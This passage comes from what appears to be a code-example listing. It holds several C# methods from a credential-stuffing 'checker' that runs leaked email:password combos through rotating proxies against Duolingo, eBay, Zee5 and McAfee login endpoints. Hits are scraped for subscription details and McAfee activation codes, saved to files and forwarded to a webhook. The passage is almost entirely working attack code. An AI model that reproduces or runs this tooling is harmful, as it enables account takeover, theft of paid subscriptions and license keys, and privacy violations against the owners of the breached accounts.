                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text1 = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            req.AddHeader("Content-Type", "application/json");
                            req.UserAgent = "DuolingoMobile/6.14.1 (iPhone; iOS 12.0.1; Scale/2.00)";
                            var text = req.Post(new Uri("https://ios-api-2.duolingo.com/2017-06-30/login"),
                                                new BytesContent(Encoding.Default.GetBytes("{\"password\":\"" + array[1] +
                                                                                           "\",\"fields\":\"_achievements,adsConfig{units},bio,coachOutfit,courses{authorId,healthEnabled,fromLanguage,id,learningLanguage,placementTestAvailable,title,xp},creationDate,currencyRewardBundles,currentCourse{authorId,checkpointTests,healthEnabled,extraCrowns,fluency,fromLanguage,id,learningLanguage,placementTestAvailable,progressQuizHistory,progressVersion,skills{accessible,bonus,conversations,explanation,finishedLessons,finishedLevels,iconId,id,indicatingNewContent,lessons,levels,name,progressRemaining,shortName,strength,urlName},sections,smartTips,status,title,trackingProperties,xp},email,enableMicrophone,enableSoundEffects,enableSpeaker,experiments,facebookId,fromLanguage,gems,gemsConfig,googleId,health,id,inviteURL,joinedClassroomIds,learningLanguage,lingots,location,motivation,name,observedClassroomIds,optionalFeatures,persistentNotifications,phoneNumber,picture,plusDiscounts,practiceReminderSettings,privacySettings,pushClubs,pushLeaderboards,requiresParentalConsent,referralInfo,roles,shopItems{id,purchaseDate,purchasePrice,subscriptionInfo{renewer},wagerDay},streakData,timezone,timezoneOffset,totalXp,trackingProperties,username,weeklyXp,xpConfig,xpGains{time, xp},zhTw\",\"identifier\":\"" +
                                                                                           array[0] +
                                                                                           "\",\"distinctId\":\"EE2C72B5-A05E-42F9-9C09-928DEF7C4BF2\"}")))
                                       .ToString();
                            if (!text.Contains("learningLanguage\""))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }

                            Program.Hits++;
                            Program.TotalChecks++;
                            var value  = Regex.Match(text, "total_crowns\":(.*?),").Groups[1].Value;
                            var value2 = Regex.Match(text, "learningLanguage\":\"(.*?)\"").Groups[1].Value;
                            var value3 = Regex.Match(text, "\"lingots\":(.*?),").Groups[1].Value;
                            var value4 = Regex.Match(text, "totalXp\":(.*?),").Groups[1].Value;
                            var value5 = Regex.Match(text, "streak\":(.*?),").Groups[1].Value;
                            Export.AsResult("/Duolingo_hits",
                                            array[0] + ":" + array[1] + " | Crowns: " + value + " - Learning Language: " + value2 +
                                            " - Lingots: " + value3 + " - XP: " + value4 + " - Streak: " + value5);
                            if (Program.lorc == "LOG")
                            {
                                Settings.PrintHit("Duolingo",
                                                  array[0] + ":" + array[1] + " | Crowns: " + value + " - Learning Language: " +
                                                  value2 + " - Lingots: " + value3 + " - XP: " + value4 + " - Streak: " + value5);
                            }
                            if (Settings.sendToWebhook)
                            {
                                Settings.sendTowebhook1(
                                    array[0] + ":" + array[1] + " | Crowns: " + value + " - Learning Language: " +
                                    value2 + " - Lingots: " + value3 + " - XP: " + value4 + " - Streak: " + value5,
                                    "Duolingo Hits");
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text1);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #19
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text1 = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = true;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var str = "email=" + array[0] +
                                      "&countryId=156&mode=5&eId=email&track=null&srcPage=2052190&ru=http%3A%2F%2Fwww.ebay.com";
                            var strResponse = req.Post("https://reg.ebay.com/reg/ajax", str,
                                                       "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("success\":false}"))
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                }
                                else if (strResponse.Contains("success\":true}")) //hit
                                {
                                    Program.Hits++;
                                    Export.AsResult("/EbayValidMail_hits", array[0] + ":" + array[1]);
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("EbayValidMail", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "EbayValidMail Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text1);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #20
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text3 = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            req.UserAgent = "Dalvik/2.1.0 (Linux; U; Android 7.1.2; HUAWEI MLA-L12 Build/HUAWEIMLA-L12)";
                            req.AddHeader("X-Z5-Appversion", "17.0.0.6");
                            req.AddHeader("X-Z5-AppPlatform", "Android Mobile");
                            req.AddHeader("Host", "userapi.zee5.com");
                            req.AddHeader("Accept-Encoding", "gzip");

                            string get = req.Get("https://userapi.zee5.com/v1/user/loginemail?email=" + array[0] + "&password="******"The email address and password combination was wrong during login"))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else if (get.Contains("{\"token\":\""))
                            {
                                string Atoken = Parse(get, "{\"token\":\"", "\"}");
                                req.UserAgent = "Dalvik/2.1.0 (Linux; U; Android 7.1.2; HUAWEI MLA-L12 Build/HUAWEIMLA-L12)";
                                req.AddHeader("X-Z5-Appversion", "17.0.0.6");
                                req.AddHeader("X-Z5-AppPlatform", "Android Mobile");
                                req.AddHeader("Authorization", "bearer " + Atoken);
                                req.AddHeader("Host", "userapi.zee5.com");
                                req.AddHeader("Accept-Encoding", "gzip");

                                string get1 =
                                    req.Get("https://subscriptionapi.zee5.com/v1/subscription?translation=en&include_active=true").ToString();
                                string PlanName   = Parse(get, "\"original_title\":\"", "\",");
                                string ExipryDate = Parse(get, "\"subscription_end\":\"", "T");
                                string AutoRenwal = Parse(get, "\"recurring_enabled\":", ",");
                                if (get1.Contains("state\":\"activated"))
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Zee5", array[0] + ":" + array[1] + $" | Plan Name - {PlanName} | Exipry Date - {ExipryDate} | Auto Renwal - {AutoRenwal}");
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Zee5", array[0] + ":" + array[1] + $" | Plan Name - {PlanName} | Exipry Date - {ExipryDate} | Auto Renwal - {AutoRenwal}");
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Zee5 Hits");
                                    }
                                }
                                else
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Zee5", array[0] + ":" + array[1] + $" | Plan Name - {PlanName} | Exipry Date - {ExipryDate} | Auto Renwal - {AutoRenwal}");
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Zee5 Frees");
                                    }
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text3);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #21
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            req.AddHeader("Host", "home.mcafee.com");
                            req.AddHeader("Connection", "keep-alive");
                            req.AddHeader("Cache-Control", "max-age=0");
                            req.AddHeader("Origin", "https://home.mcafee.com");
                            req.AddHeader("Upgrade-Insecure-Requests", "1");
                            req.AddHeader("DNT", " 1");
                            req.AddHeader("Accept",
                                          "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-Mode", "navigate");
                            req.AddHeader("Sec-Fetch-User", "?1");
                            req.AddHeader("Sec-Fetch-Dest", "document");
                            req.AddHeader("Referer",
                                          "https://home.mcafee.com/secure/protected/login.aspx?rfhs=1&culture=en-us");
                            req.AddHeader("Accept-Language", "en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7");
                            req.AddHeader("Cookie",
                                          "AMCVS_A729776A5245B1590A490D44%40AdobeOrg=1; _ga=GA1.2.675188772.1592213432; _gid=GA1.2.1821097753.1592213432; _gat=1; run_fs_for_user=true; s_ecid=MCMID%7C47094452651753858052751764190295322717; s_cc=true; _gcl_au=1.1.1767005435.1592213432; _hjid=2c505a7c-bbf3-426b-86f2-66e65184200a; gpv=en-us%3Aindex; tp=3764; AAMC_mcafeeinc_0=REGION%7C12; Target_Test=seg%3D13216020%2C13216019%2C13216018%2C13216017%2C13306012%2C13306015%2C13306029%2C13306030%2C13306033%2C13306034%2C13306035%2C13306037%2C13306040; aam_uuid=53612498931678776163246401714005388128; s_ppv=en-us%253Aindex%2C28%2C17%2C1057; s_vi=[CS]v1|2F739FDC8515BC84-400008D0A1B00A32[CE]; check=true; AMCV_A729776A5245B1590A490D44%40AdobeOrg=-330454231%7CMCIDTS%7C18429%7CMCMID%7C47094452651753858052751764190295322717%7CMCAAMLH-1592213377.3%7C12%7CMCAAMB-1592213377.3%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1592220637s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-18436%7CvVersion%7C3.1.2; mboxEdgeCluster=31; mbox=session#b5062c58fdbd403a9a0d2a8e7a140777#1592215299|PC#b5062c58fdbd403a9a0d2a8e7a140777.31_0#1655458238; session%5Fdata=%3cSessionData%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; SiteID=1; langid=1; SessionInfo=AffiliateId=0; lBounceURL=http://home.mcafee.com/Secure/MyAccount/DashBoard.aspx?culture=en-us; lUsrCtxPersist=; lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; Locale=EN-US; HPrst=gu=16908193-7350-448f-871a-d883930a9fdd&loc=EN-US; AffID=0-0; Currency=56; Acpc=; Acsc=; Aksc=cntrycd=D07yDyotbjo3tXHNvaIeVQ2&rgncd=eGWv52U2wow8tEGeL5N0Bw2&city=-gBzPo2jiCCXur64gUMSzA2&contnt=K3mTM-XV68BNk0mK2GOqlA2&thrput=OV_vUmoBuOXyWiozJodFWg2&bw=JkwoGAMd7-X0BW_f0oaLPg2&akc=9yRX8KOVZCj2izbCghPibw2; RT=\"sl=3&ss=1592213430641&tt=3933&obo=1&bcn=%2F%2F684d0d3e.akstat.io%2F&sh=1592213438624%3D3%3A1%3A3933%2C1592213437657%3D2%3A1%3A2973%2C1592213433619%3D1%3A0%3A2973&dm=mcafee.com&si=ec7d2813-5205-4fd6-bab2-7a94255d73e0&nu=https%3A%2F%2Fhome.mcafee.com%2FSecure%2FMyAccount%2FDashBoard.aspx%3F5922a5529d183c57efce92b37ca7752d&cl=1592213446308&r=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Ffor-home%2Fabt%2Ffor-home-1a-vb.html%3F253b56891e2b1424810dfa84f6e01eec&ul=1592213446319&hd=1592213447581\"; HRntm=iodtf=iq5nNK-ISQc78yUmSkAv9A2&atf=&rf=&hcof=iq5nNK-ISQc78yUmSkAv9A2&emailid=&optin=&optinvalues=&aff=0-0&cur=56&piacct=l5hppVF9ZAZqvcqlqqTxbw2&lbu=http%3a%2f%2fhome.mcafee.com%2fSecure%2fMyAccount%2fDashBoard.aspx%3fculture%3den-us&pple=iq5nNK-ISQc78yUmSkAv9A2&inur=iq5nNK-ISQc78yUmSkAv9A2&ituof=iq5nNK-ISQc78yUmSkAv9A2&ieu=iq5nNK-ISQc78yUmSkAv9A2&isr=iq5nNK-ISQc78yUmSkAv9A2&sbo=iq5nNK-ISQc78yUmSkAv9A2&om_icr=iq5nNK-ISQc78yUmSkAv9A2&om_upsa=iq5nNK-ISQc78yUmSkAv9A2&ttprdt=iq5nNK-ISQc78yUmSkAv9A2&flgn=iq5nNK-ISQc78yUmSkAv9A2&pbinfo=iq5nNK-ISQc78yUmSkAv9A2&rnwtrk=&clicksrctrk=&rqwtrk=&rqwtrkhs=&vpp=iq5nNK-ISQc78yUmSkAv9A2&mip=iq5nNK-ISQc78yUmSkAv9A2; s_fid=4B1A33A4AC09CB19-315E6B1EF7A7E111; s_gpv=D%3Dc1; _uetsid=b7663221-6d4e-8f44-995e-3f84d02de902; _uetvid=e1de4183-b683-cfe4-f42a-65cece4168a8; utag_main=v_id:0172b750e6ee001380531217e57f03072002706a0086e$_sn:1$_ss:0$_pn:3%3Bexp-session$_st:1592215275412$ses_id:1592213432046%3Bexp-session$vapi_domain:mcafee.com; s_nr=1592213475452-New; s_sq=mcafeewwconsumermain%3D%2526pid%253Dhttps%25253A%25252F%25252Fhome.mcafee.com%25252Fsecure%25252Fprotected%25252Flogin.aspx%2526oid%253Dfunctiononclick%252528event%252529%25257Bjavascript%25253ADoFormSubmit%252528%252527aspnetForm%252527%25252C%252527loginsubmit%252527%252529%25253B%25257D%2526oidt%253D2%2526ot%253DBUTTON");
                            req.AddHeader("Accept-Encoding", "gzip, deflate");
                            var str =
                                "AffId=0&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNDIzNjc2OTMyD2QWAmYPZBYCAgEPFgYeA2RpcgUDbHRyHgRsYW5nBQJlbh4IeG1sOmxhbmcFAmVuFgICAQ9kFggCBQ9kFghmD2QWAmYPZBYIAgEPZBYEZg8PFgIeC05hdmlnYXRlVXJsBRhodHRwczovL2hvbWUubWNhZmVlLmNvbS9kFgZmDw8WBB4NQWx0ZXJuYXRlVGV4dGUeB1Rvb2xUaXBlZGQCAQ8PFgYfBGUfBWUeB1Zpc2libGVnZGQCAg8PFgQeBFRleHRlHwVlZGQCAg8PFggfBGUfBWUeCEltYWdlVXJsBTZodHRwczovL3NlY3VyZWltYWdlcy5tY2FmZWUuY29tL2xlZ2FjeS9jb21tb24vbG9nby5wbmcfBmhkZAIDD2QWAmYPDxYCHwMFRWh0dHBzOi8vd3d3Lm1jYWZlZXNlY3VyZS5jb20vUmF0aW5nVmVyaWZ5P3JlZj1ob21lLm1jYWZlZS5jb20mbGFuZz1FTmQWAmYPDxYEHwgFQWh0dHBzOi8vaW1hZ2VzLnNjYW5hbGVydC5jb20vbWV0ZXIvaG9tZS5tY2FmZWUuY29tLzMxLmdpZj9sYW5nPUVOHwUFd01jQWZlZSBTZWN1cmUgc2l0ZXMgaGVscCBrZWVwIHlvdSBzYWZlIGZyb20gaWRlbnRpdHkgdGhlZnQsIGNyZWRpdCBjYXJkIGZyYXVkLCBzcHl3YXJlLCBzcGFtLCB2aXJ1c2VzIGFuZCBvbmxpbmUgc2NhbXMuFgIeDW9uY29udGV4dG1lbnUFZGphdmFzY3JpcHQ6YWxlcnQoIkNvcHlpbmcgUHJvaGliaXRlZCBieSBMYXcgLSBNY0FmZWUgU0VDVVJFIGlzIGEgVHJhZGVtYXJrIG9mIE1jQWZlZSIpO3JldHVybiBmYWxzZTtkAgUPZBYIAgMPZBYEZg8WAh4IQ3VzdG9tVUwFBUVOLVVTZAICDxYCHwoFBUVOLVVTZAIFD2QWAmYPDxYEHwcFGTxzcGFuPkFib3V0IE1jQWZlZTwvc3Bhbj4fBQUMQWJvdXQgTWNBZmVlZGQCBw9kFgJmDw8WBB8HBRc8c3Bhbj5Db250YWN0IFVzPC9zcGFuPh8FBQpDb250YWN0IFVzZGQCCQ9kFgRmDw8WBB8HBQZTZWFyY2gfBQUGU2VhcmNoZGQCAg8PZBYCHglvbmtleWRvd24FuAFpZiAoKGV2ZW50LndoaWNoID09IDEzKSB8fCAoZXZlbnQua2V5Q29kZSA9PSAxMykpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3RsMDBfbV9IZWFkZXJGdWxsTmF2aWdhdGlvbl91Y01hc3Rlck5hdmlnYXRpb25fdWNIZWFkZXJVdGlsaXR5TmF2X1NlYXJjaF9idG5TZWFyY2gnKS5jbGljaygpO3JldHVybiBmYWxzZTt9ZAIHD2QWBGYPFgIfBmhkAgIPZBYCZg8PFgIfBmhkZAIDDw8WAh8GaGQWCAIBD2QWAmYPFgIfCgUCNTZkAgMPZBYCAgEPDxYGHwcFGDxzcGFuID5NeSBBY2NvdW50PC9zcGFuPh8FBQpNeSBBY2NvdW50HwMFK2h0dHBzOi8vaG9tZS5tY2FmZWUuY29tL3Jvb3QvbXlhY2NvdW50LmFzcHhkZAIFD2QWAgIBDw8WAh8DBSRodHRwczovL2hvbWUubWNhZmVlLmNvbS9zZWN1cmUvY2FydC8WBB4FdGl0bGUFDVNob3BwaW5nIENhcnQeA2FsdAUNU2hvcHBpbmcgQ2FydGQCBw9kFgICAQ8PFgYfBwUGTG9nIEluHwUFBkxvZyBJbh8DBTNodHRwczovL2hvbWUubWNhZmVlLmNvbS9zZWN1cmUvcHJvdGVjdGVkL2xvZ2luLmFzcHhkZAIEDw8WAh8GaGQWCAIBD2QWAmYPFgIfCgUCNTZkAgMPZBYCZg8PFgYfBwUXPHNwYW4%2BTXkgQWNjb3VudDwvc3Bhbj4fAwUraHR0cHM6Ly9ob21lLm1jYWZlZS5jb20vcm9vdC9NeUFjY291bnQuYXNweB8FBQpNeSBBY2NvdW50ZGQCBQ9kFgJmDw8WAh8DBSRodHRwczovL2hvbWUubWNhZmVlLmNvbS9zZWN1cmUvY2FydC8WBB8MBQRDYXJ0Hw0FBENhcnRkAgcPZBYCZg8PFgYfBwUGTG9nIEluHwMFM2h0dHBzOi8vaG9tZS5tY2FmZWUuY29tL3NlY3VyZS9wcm90ZWN0ZWQvbG9naW4uYXNweB8FBQZMb2cgSW5kZAIFDw8WAh8GZ2QWAmYPZBYEAgEPZBYCZg8WAh8KBQI1NmQCAw9kFgICAQ8PFgQfBwUYPHNwYW4gPk15IEFjY291bnQ8L3NwYW4%2BHwMFN2h0dHBzOi8vaG9tZS5tY2FmZWUuY29tL1NlY3VyZS9NeUFjY291bnQvRGFzaEJvYXJkLmFzcHgWAh8MBQpNeSBBY2NvdW50ZAIHD2QWAmYPZBYGAgEPZBYEZg8PFgIfAwUYaHR0cHM6Ly9ob21lLm1jYWZlZS5jb20vZBYGZg8PFgQfBGUfBWVkZAIBDw8WBh8EZR8FZR8GZ2RkAgIPDxYEHwdlHwVlZGQCAg8PFggfBGUfBWUfCAU2aHR0cHM6Ly9zZWN1cmVpbWFnZXMubWNhZmVlLmNvbS9sZWdhY3kvY29tbW9uL2xvZ28ucG5nHwZoZGQCAw9kFgJmDw8WAh8DBUVodHRwczovL3d3dy5tY2FmZWVzZWN1cmUuY29tL1JhdGluZ1ZlcmlmeT9yZWY9aG9tZS5tY2FmZWUuY29tJmxhbmc9RU5kFgJmDw8WBB8IBUFodHRwczovL2ltYWdlcy5zY2FuYWxlcnQuY29tL21ldGVyL2hvbWUubWNhZmVlLmNvbS8zMS5naWY%2FbGFuZz1FTh8FBXdNY0FmZWUgU2VjdXJlIHNpdGVzIGhlbHAga2VlcCB5b3Ugc2FmZSBmcm9tIGlkZW50aXR5IHRoZWZ0LCBjcmVkaXQgY2FyZCBmcmF1ZCwgc3B5d2FyZSwgc3BhbSwgdmlydXNlcyBhbmQgb25saW5lIHNjYW1zLhYCHwkFZGphdmFzY3JpcHQ6YWxlcnQoIkNvcHlpbmcgUHJvaGliaXRlZCBieSBMYXcgLSBNY0FmZWUgU0VDVVJFIGlzIGEgVHJhZGVtYXJrIG9mIE1jQWZlZSIpO3JldHVybiBmYWxzZTtkAgcPZBYEAgMPZBYEZg8WAh8KBQVFTi1VU2QCAg8WAh8KBQVFTi1VU2QCCQ9kFgICAg8PZBYCHwsFpQFpZiAoKGV2ZW50LndoaWNoID09IDEzKSB8fCAoZXZlbnQua2V5Q29kZSA9PSAxMykpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3RsMDBfbV9IZWFkZXJTbGltTmF2aWdhdGlvbl91Y0hlYWRlclV0aWxpdHlOYXZfU2VhcmNoX2J0blNlYXJjaCcpLmNsaWNrKCk7cmV0dXJuIGZhbHNlO31kAg0PDxYCHwZoZGQCDw8WAh4FY2xhc3MFB0d0bTIwMTQWAgIDD2QWCAIBD2QWBGYPDxYCHwcFCldlIGFjY2VwdDpkZAIBDxYCHgNzcmMFUWh0dHBzOi8vc2VjdXJlaW1hZ2VzLm1jYWZlZS5jb20vbGVnYWN5L2hvbWUvcGF5bWVudEljb25zL3BheW1lbnRJY29uc0VOLVVTTmV3LmdpZmQCAw8PFgIfB2VkZAIFDw8WAh8HBRwmY29weTsgMjAwMy0yMDIwIE1jQWZlZSwgTExDZGQCBw8PFgIfBmhkFgJmDw8WAh8DBUVodHRwczovL3d3dy5tY2FmZWVzZWN1cmUuY29tL1JhdGluZ1ZlcmlmeT9yZWY9aG9tZS5tY2FmZWUuY29tJmxhbmc9RU5kFgJmDw8WBB8IBUFodHRwczovL2ltYWdlcy5zY2FuYWxlcnQuY29tL21ldGVyL2hvbWUubWNhZmVlLmNvbS8zMS5naWY%2FbGFuZz1FTh8FBXdNY0FmZWUgU2VjdXJlIHNpdGVzIGhlbHAga2VlcCB5b3Ugc2FmZSBmcm9tIGlkZW50aXR5IHRoZWZ0LCBjcmVkaXQgY2FyZCBmcmF1ZCwgc3B5d2FyZSwgc3BhbSwgdmlydXNlcyBhbmQgb25saW5lIHNjYW1zLhYCHwkFZGphdmFzY3JpcHQ6YWxlcnQoIkNvcHlpbmcgUHJvaGliaXRlZCBieSBMYXcgLSBNY0FmZWUgU0VDVVJFIGlzIGEgVHJhZGVtYXJrIG9mIE1jQWZlZSIpO3JldHVybiBmYWxzZTtkGAIFJGN0bDAwJHVjRm9vdGVyTWVudSRtX2Zvb3RlclNlY29uZGFyeQ9nZAUgY3RsMDAkdWNGb290ZXJNZW51JG1fcGFja2FnZUxpc3QPZ2Tr5ClMNbweuQXQqiI0FVX0lf0TuA%3D%3D&__VIEWSTATEGENERATOR=E3866E57&ctl00%24m_ScriptManager=&ctl00%24m_HeaderFullNavigation%24ucMasterNavigation%24ucHeaderUtilityNav%24Search%24txtGlobalSearchField=&UserID=" +
                                array[0] + "&Password="******"&ps=login&evtTrigger=loginsubmit&eulaAcceptanceTypeHidden=Implicit";
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse =
                                req.Post("https://home.mcafee.com/secure/protected/login.aspx?rfhs=1&culture=en-us",
                                         str, "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains(
                                        "The username or password you entered was invalid. Please try again"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("200"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains(
                                             "http://home.mcafee.com/Secure/MyAccount/DashBoard.aspx?culture=en-us"))
                                {
                                    var URL = Parse(strResponse, "window.location.href='", "';</script>");
                                    var cap = req.Get(URL).ToString();
                                    if (cap.Contains("Activation code"))
                                    {
                                        var Activationcode = Parse(cap, "Activation code: ", "</span> ");
                                        var Expires        = Parse(cap, "Expires:</strong>", "</li>");

                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/McAfee_hits",
                                                        array[0] + ":" + array[1] + " | Expires: " + Expires +
                                                        " | Activationcode: " + Activationcode);
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("McAfee",
                                                              array[0] + ":" + array[1] + " | Expires: " + Expires +
                                                              " | Activationcode: " + Activationcode);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1], "McAfee Hits");
                                        }
                                    }
                                    else
                                    {
                                        Program.Frees++;
                                        Program.TotalChecks++;
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintFree("McAfee", array[0] + ":" + array[1]);
                                        }
                                        Export.AsResult("/McAfee_frees", array[0] + ":" + array[1]);
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #22
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
